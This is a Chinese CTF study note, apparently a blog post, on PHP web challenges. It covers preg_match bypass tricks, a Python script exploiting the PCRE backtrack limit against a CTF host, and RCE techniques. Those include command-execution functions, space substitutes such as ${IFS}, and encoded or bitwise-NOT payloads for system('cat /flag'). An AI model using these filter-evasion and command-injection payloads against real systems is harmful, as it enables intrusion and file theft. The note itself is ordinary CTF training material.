• ctf web基础php


    1.preg_match函数绕过

    1.数组绕过

    1. $pass=$_GET['zx'];
    2. if(!preg_match("/admin/",$zx)==false){
    3. die('hacker');
    4. }
    5. echo 'flag';
    6. ?>

    ?zx[]=admin

    2.换行符绕过

    1. $pass=$_GET['zx'];
    2. if(!preg_match("/^.(admin).$/",$zx)==false){
    3. die('hacker');
    4. }
    5. echo 'flag';
    6. ?>

    ?zx=%20admin

    3.利用PCRE回溯次数限制绕过

    1. function jiuzhe($xdmtql){
    2. return preg_match('/sys.*nb/is',$xdmtql);
    3. }
    4. $xdmtql=@$_POST['xdmtql'];
    5. if(!is_array($xdmtql)){
    6. if(!jiuzhe($xdmtql)){
    7. if(strpos($xdmtql,'sys nb')!==false){
    8. echo 'flag{*******}';
    9. }else{
    10. echo 'true .swp file?';
    11. }
    12. }else{
    13. echo 'nijilenijile';
    14. }
    15. }

    这里is_arry过滤数组 

    1. import requests
    2. url='http://80b45bdd-e6de-4193-bc46-58bb19fc477f.www.polarctf.com:8090/'
    3. data={'xdmtql':'sys nb'+"aaaaa" * 1000000}
    4. r= requests.post(url=url,data=data)
    5. print(r.text)

    2.rce

    1.找未过滤字符

    1.命令执行函数

    1. system() - 执行命令,返回最后一条命令输出
    2. exec() - 执行命令,返回命令全部输出
    3. shell_exec() - 通过shell执行命令,返回全部输出
    4. passthru() - 执行命令,输出原始返回值
    5. popen() - 打开管道执行命令

    2.读取文件命令

    1. cat -读取文件内容并输出
    2. more - 分屏显示文件内容
    3. less - 分页方式读取文件内容
    4. head - 输出文件头部内容
    5. tac - 从最后一行开始反向输出文件内容
    6. tail - 输出文件尾部内容
    7. nl - 输出行号和内容
    8. od - 以二进制的方式读取档案内容
    9. hd/hexdump - 以十六进制显示文件内容
    10. strings - 输出二进制文件中的可打印字符串
    11. sort - 对文本文件中的行进行排序
    12. uniq - 去除文本文件中的重复行

    3.空格替代

    1. <
    2. <>
    3. ${IFS}
    4. $IFS
    5. %20(space)
    6. %09(tab)
    7. $IFS$9
    8. $IFS$1

    2.字符串转义绕过

    1. 字符串转义绕过
    2. 适用PHP版本:PHP>=7
    3. \x73\x79\x73\x74\x65\x6d\x27\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29;
    4. #system('cat /flag') \x表示16进制
    5. ;
    6. \163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51
    7. #system('cat /flag'); \8进制
    8. \u{115}\u{121}\u{115}\u{116}\u{101}\u{109}\u{40}\u{39}\u{99}\u{97}\u{116}\u{32}\u{47}\u{102}\u{108}\u{97}\u{103}\u{39}\u{41}
    9. ;#system('cat /flag');
    10. \163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51("\167\150\157\141\155\151")
    11. #system('cat /flag');

    3.取反

    1. var_dump(urlencode(~"system"));
    2. var_dump(urlencode(~"cat /flag"));
    3. ?>
    4. string(18) "%8C%86%8C%8B%9A%92"
    5. string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"

    xdmtql=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

  • 相关阅读:
    直播带货平台有哪些
    2022六边形JAVA面试八股文分享,我这一拳20年的功力你接得住吗?
    【微信测试号实战——02】编写你独有的微信消息模板
    k8s 1.28版本:使用StorageClass动态创建PV,SelfLink 问题修复
    [极致用户体验] 我又来帮掘金修专栏bug了,顺便教你个超牛逼的分割线CSS!
    Linux下查看压缩文件内容的10种方法(小结)
    【数据结构】二分搜索树
    数据结构第一课 —— 时间和空间复杂度
    IDEA常用代码模板
    数组07-滑动窗口、HashMap
  • 原文地址:https://blog.csdn.net/qq_61988806/article/details/133012933